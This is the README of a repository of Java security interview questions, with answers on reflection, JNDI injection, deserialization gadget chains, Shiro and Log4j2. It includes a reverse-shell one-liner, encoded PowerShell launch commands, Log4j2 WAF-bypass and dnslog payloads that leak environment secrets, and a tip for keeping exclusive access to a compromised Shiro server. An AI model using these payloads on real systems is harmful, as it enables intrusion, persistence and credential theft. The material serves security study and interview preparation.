[
  {
    "path": "README.md",
    "content": "# JavaSecInterview\n\n## 介绍\n\n这是什么：Java安全研究与安全开发面试题总结\n\n为什么要做：**帮助自己校招找到工作，同时帮助广大Java安全师傅顺利找到工作**\n\n项目目标：完全掌握本项目后进轻松大厂\n\n计划定期更新，从基础到各种实战问题，打造齐全的Java安全面试题库\n\n最低难度★   最高难度★★★★★\n\n\n\n作者技术水平水平，难免有错误之处，欢迎师傅们提出ISSUE和PR\n\n\n\n## JDK\n\n- Java反射做了什么事情（★）\n\n反射是根据字节码获得类信息或调用方法。从开发者角度来讲，反射最大的意义是提高程序的灵活性。Java本身是静态语言，但反射特性允许运行时动态修改类定义和属性等，达到了静态的效果\n\n\n\n- Java反射可以修改Final字段嘛（★★）\n\n可以做到，参考以下代码\n\n```java\nfield.setAccessible(true);\nField modifiersField = Field.class.getDeclaredField(\"modifiers\");\nmodifiersField.setAccessible(true);\nmodifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);\nfield.set(null, newValue);\n```\n\n\n\n- 传统的反射方法加入黑名单怎么绕（★★★）\n\n可以使用的类和方法如下（参考三梦师傅）\n\n```java\nReflectUtil.forName\nBytecodeDescriptor\nClassLoader.loadClass\nsun.reflect.misc.MethodUtil\nsun.reflect.misc.FieldUtil\nsun.reflect.misc.ConstructorUtil\nMethodAccessor.invoke\nJSClassLoader.invoke\nJSClassLoader.newInstance\n```\n\n\n\n- Java中可以执行反弹shell的命令吗（★★）\n\n可以执行，但需要对命令进行特殊处理。例如直接执行这样的命令：`bash -i >& /dev/tcp/ip/port 0>&1`会失败，简单来说因为`>`符号是重定向，如果命令中包含输入输出重定向和管道符，只有在`bash`下才可以，使用Java执行这样的命令会失败，所以需要加入`Base64`\n\n```shell\nbash -c {echo,base64的payload}|{base64,-d}|{bash,-i}\n```\n\n针对`Powershell`应该使用以下的命令\n\n```shell\npowershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc 特殊的Base64\n```\n\n这个特殊的Base64和普通Base64不同，需要填充0，算法如下\n\n```java\npublic static String getPowershellCommand(String cmd) {\n    char[] chars = cmd.toCharArray();\n    List<Byte> temp = new ArrayList<>();\n    for (char c : chars) {\n        byte[] code = String.valueOf(c).getBytes(StandardCharsets.UTF_8);\n        for (byte b : code) {\n            temp.add(b);\n        }\n        temp.add((byte) 0);\n    }\n    byte[] result = new byte[temp.size()];\n    for (int i = 0; i < temp.size(); i++) {\n        result[i] = temp.get(i);\n    }\n    String data = Base64.getEncoder().encodeToString(result);\n    String prefix = \"powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc \";\n    return prefix + data;\n}\n```\n\n\n\n- 假设`Runtime.exec`加入黑名单还有什么方式执行命令（★★）\n\n其实这个问题有点类似`JSP Webshell`免杀\n\n大致方法有这些：使用基本的反射，ProcessImpl和ProcessBuilde，JDNI和LDAP注入，TemplatesImpl，BCEL，BeansExpression，自定义ClassLoader，动态编译加载，ScriptEngine，反射调用一些native方法，各种EL（SPEL和Tomcat EL等）\n\n\n\n- RMI和LDAP类型的JNDI注入分别在哪个版本限制（★）\n\nRMI的JNDI注入在8u121后限制，需要手动开启`com.sun.jndi.rmi.object.trustURLCodebase`属性\n\nLDAP的JNDI注入在8u191后限制，需要开启`com.sun.jndi.ldap.object.trustURLCodebase`属性\n\n\n\n- RMI和LDAP的限制版本分别可以怎样绕过（★★）\n\nRMI的限制是限制了远程的工厂类而不限制本地，所以用本地工厂类触发\n\n通过`org.apache.naming.factory.BeanFactory`结合`ELProcessor`绕过\n\nLDAP的限制中不对`javaSerializedData`验证，所以可以打本地`gadget`\n\n\n\n- 谈谈TemplatesImpl这个类（★★）\n\n这个类本身是JDK中XML相关的类，但被很多`Gadget`拿来用\n\n一般情况下加载字节码都需要使用到ClassLoader来做，其中最核心的`defineClass`方法只能通过反射来调用，所以实战可能比较局限。但JDK中有一个`TemplatesImpl`类，其中包含`TransletClassLoader`子类重写了`defineClass`所以允许`TemplatesImpl`类本身调用。`TemplatesImpl`其中有一个特殊字段`_bytecodes`是一个二维字节数组，是被加载的字节码\n\n通过`newTransformer`可以达到`defineClass`方法加载字节码。而`getOutputProperties`方法（getter）中调用了`newTransformer`方法，也是一个利用链\n\n```text\nTemplatesImpl.getOutputProperties()\n\tTemplatesImpl.newTransformer()\n\tTemplatesImpl.getTransletInstance()\n\tTemplatesImpl.defineTransletClasses()\n\tClassLoader.defineClass()\n\tClass.newInstance()\n```\n\n\n\n- 了解BCEL ClassLoader吗（★）\n\nBCEL的全名应该是Apache Commons BCEL，属于Apache Commons项目下的一个子项目\n\n该类常常用于各种漏洞利用POC的构造，可以加载特殊的字符串所表示的字节码\n\n但是在Java 8u251之后该类从JDK中移除\n\n\n\n- 谈谈7U21反序列化（★★★★★）\n\n从`LinkedHashSet.readObject`开始，找到父类`HashSet.readObject`方法，其中包含`HashMap`的类型转换以及`HashMap.put`方法，跟入`HashMap.put`其中对`key`与已有`key`进行`equals`判断，这个`equals`方法是触发后续利用链的关键。但`equals`方法的前置条件必须满足\n\n```java\nif (e.hash == hash && ((k = e.key) == key || key.equals(k)))\n```\n\n所以这里需要用哈希碰撞，让下一个`key`的哈希值和前一个相等，才可进入第二个条件。而第二个条件中必须让前一个条件失败才可以进去`equals`方法，两个`key`对象不相同是显而易见的\n\n接下来的任务是找到一处能触发`equals`方法的地方\n\n反射创建`AnnotationInvocationHandler`对象，传入`Templates`类型和`HashMap`参数。再反射创建被该对象代理的新对象，根据动态代理技术，代理对象方法调用需要经过`InvocationHandler.invoke`方法，在`AnnotationInvocationHandler`这个`InvocationHandler`的`invoke`方法实现中如果遇到`equals`方法，会进入`equalsImpl`方法，其中遍历了`equals`方法传入的参数`TemplatesImpl`的所有方法并反射调用，通过`getOutputProperties`方法最终加载字节码导致RCE\n\n关于7U21的伪代码如下\n\n```java\nObject templates = Gadgets.createTemplatesImpl();\nString zeroHashCodeStr = \"f5a5a608\";\nHashMap map = new HashMap();\nConstructor<?> ctor = Class.forName(\"sun.reflect.annotation.AnnotationInvocationHandler\").getDeclaredConstructors()[0];\nctor.setAccessible(true);\nInvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);\nTemplates proxy = (Templates) Proxy.newProxyInstance(exp.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler);\nLinkedHashSet set = new LinkedHashSet();\nset.add(templates);\nset.add(proxy);\nmap.put(zeroHashCodeStr, templates);\nreturn set;\n```\n\n结合调用链\n\n```text\nLinkedHashSet.readObject()\n  LinkedHashSet.add()/HashMap.put()\n      Proxy(Templates).equals()\n        AnnotationInvocationHandler.invoke()\n          AnnotationInvocationHandler.equalsImpl()\n            Method.invoke()\n              ...\n                TemplatesImpl.getOutputProperties()\n```\n\n可以看到伪代码最后在`map`中`put`了某个元素，这是为了处理哈希碰撞的问题。`TemplatesImpl`没有重写`hashcode`直接调用`Object`的方法。而代理对象的`hashcode`方法也是会先进入`invoke`方法的，跟入`hashCodeImpl`方法看到是根据传入参数`HashMap`来做的，累加每一个`Entry`的`key`和`value`计算得出的`hashcode`。通过一些运算，可以找到符合条件的碰撞值\n\n\n\n- 谈谈8U20反序列化（★★★★★）\n\n这是7U21修复的绕过（作者对该问题了解较浅，面试没有被问到过）\n\n在`AnnotationInvocationHandler`反序列化调用`readObject`方法中，对当前`type`进行了判断。之前POC中的`Templates`类型会导致抛出异常无法继续。使用`BeanContextSupport`绕过，在它的`readObject`方法中调用`readChildren`方法，其中有`try-catch`但没有抛出异常而是`continue`继续\n\n所以这种情况下，就算之前的反序列化过程中出错，也会继续进行下去。但想要控制这种情况，不可以用正常序列化数据，需要自行构造畸形的序列化数据\n\n\n\n- 了解缩小反序列化Payload的手段吗（★★★）\n\n首先最容易的方案是使用Javassist生成字节码，这种情况下生成的字节码较小。进一步可以用ASM删除所有的LineNumber指令，可以更小一步。最终手段可以分块发送多个Payload最后合并再用URLClassLoader加载\n\n\n\n- 待师傅们补充\n\n\n\n## Shiro\n\n- Shiro反序列化怎么检测key（★★★）\n\n实例化一个`SimplePrincipalCollection`遍历key列表进行AES加密，然后加入到`Cookie`的`rememberMe`字段中发送，如果响应头的`Set-Cookie`字段包含`rememberMe=deleteMe`说明不是该密钥，如果什么都不返回，说明当前key是正确的key。实际中可能需要多次这样的请求来确认key\n\n\n\n- Shiro 721怎么利用（★★）\n\n需要用到Padding Oracle Attack技术，限制条件是需要已知合法用户的`rememberMe`且需要爆破较长的时间\n\n\n\n- 最新版Shiro还存在反序列化漏洞吗（★）\n\n存在，如果密钥是常见的，还是有反序列化漏洞的可能性\n\n\n\n- Shiro反序列化Gadget选择有什么坑吗（★★★）\n\n默认不包含CC链包含CB1链。用不同版本的CB1会导致出错，因为`serialVersionUID` 不一致\n\n另一个CB1的坑是`Comparator`来自于CC，需要使用如下的\n\n```java\nBeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);\n```\n\n\n\n- Shiro注Tomcat内存马有什么坑吗（★★★★）\n\nShiro注内存马时候由于反序列化Payload过大会导致请求头过大报错\n\n解决办法有两种：第一种是反射修改Tomcat配置里的请求头限制熟悉，但这个不靠谱，不同版本`Tomcat`可能修改方式不一致。另外一种更为通用的手段是打过去一个`Loader`的`Payload`加载请求`Body`里的字节码，将内存马字节码写入请求`Body`中。这种方式的缺点是依赖当前请求对象，更进一步可以写文件`URLClassLoader`加载\n\n\n\n- 有什么办法让Shiro洞只能被你一人发现（★★）\n\n发现Shiro洞后，改了其中的key为非通用key。通过已经存在的反序列化可以执行代码，反射改了`RememberMeManager`中的key即可。但这样会导致已登录用户失效，新用户不影响\n\n\n\n- Shiro的权限绕过问题了解吗（★★）\n\n主要是和Spring配合时候的问题，例如`/;/test/admin/page`问题，在`Tomcat`判断`/;test/admin/page` 为test应用下的`/admin/page`路由，进入到Shiro时被`;`截断被认作为`/`,再进入Spring时又被正确处理为test应用下的`/admin/page`路由，最后导致shiro的权限绕过。后一个修复绕过，是针对动态路由如`/admin/{name}`\n\n\n\n## Log4j2\n\n- 谈谈Log4j2漏洞（★★）\n\n漏洞原理其实不难，简单来说就是对于`${jndi:}`格式的日志默认执行`JndiLoop.loojup`导致的RCE。有几处关键问题，首先日志的任何一部分插入`${}`都会进行递归处理，也就是说`log.info/error/warn`等方法如果日志内容可控，就会导致这个问题。这个漏洞本身不复杂，后续的一个绕过比较有趣\n\n\n\n- 知道Log4j2 2.15.0 RC1修复的绕过吗（★★★）\n\n修复内容限制了协议和HOST以及类型，其中类型这个东西其实没用，协议的限制中包含了`LDAP`等于没限制。重点在于HOST的限制，只允许本地localhost和127.0.0.1等IP。但这里出现的问题是，加入了限制但没有捕获异常，如果产生异常会继续`lookup`所以如果在URL中加入一些特殊字符，例如空格，即可导致异常然后RCE\n\n\n\n- Log4j2的两个DOS CVE了解吗（★★）\n\n其中一个DOS是`lookup`本身延迟等待和允许多个标签`${}`导致的问题\n\n另一个DOS是嵌套标签`${}`导致栈溢出\n\n\n\n- Log4j2 2.15.0正式版的绕过了解吗（★★★）\n\n正式版的修复只是在之前基础上捕获了异常。这个绕过本质还是绕HOST限制。使用`127.0.0.1#evil.com`即可绕过，需要服务端配置泛域名，所以#前的127.0.0.1会被认为是某个子域名，而本地解析认为这是127.0.0.1绕过了HOST的限制。但该RCE仅可以在MAC OS和部分Linux平台成功\n\n\n\n- Log4j2绕WAF的手段有哪些（★★）\n\n使用类似`${::-J}`的方式做字符串的绕过，还可以结合`upper`和`lower`标签进行嵌套\n\n有一些特殊字符的情况结合大小写转换有巧妙的效果，还可以加入垃圾字符\n\n例如：`${jnd${upper:ı}:ldap://127.0.0.1:1389/Calc}`\n\n\n\n- Log4j2除了RCE还有什么利用姿势（★★★）\n\n利用其他的`lookup`可以做信息泄露例如`${env:USER}`和`${env:AWS_SECRET_ACCESS_KEY}`\n\n在`SpringBoot`情况下可以使用`bundle:application`获得数据库密码等敏感信息\n\n这些敏感信息可以利用`dnslog`外带`${jndi:ldap://${java:version}.xxx.dnslog.cn}`\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
  }
]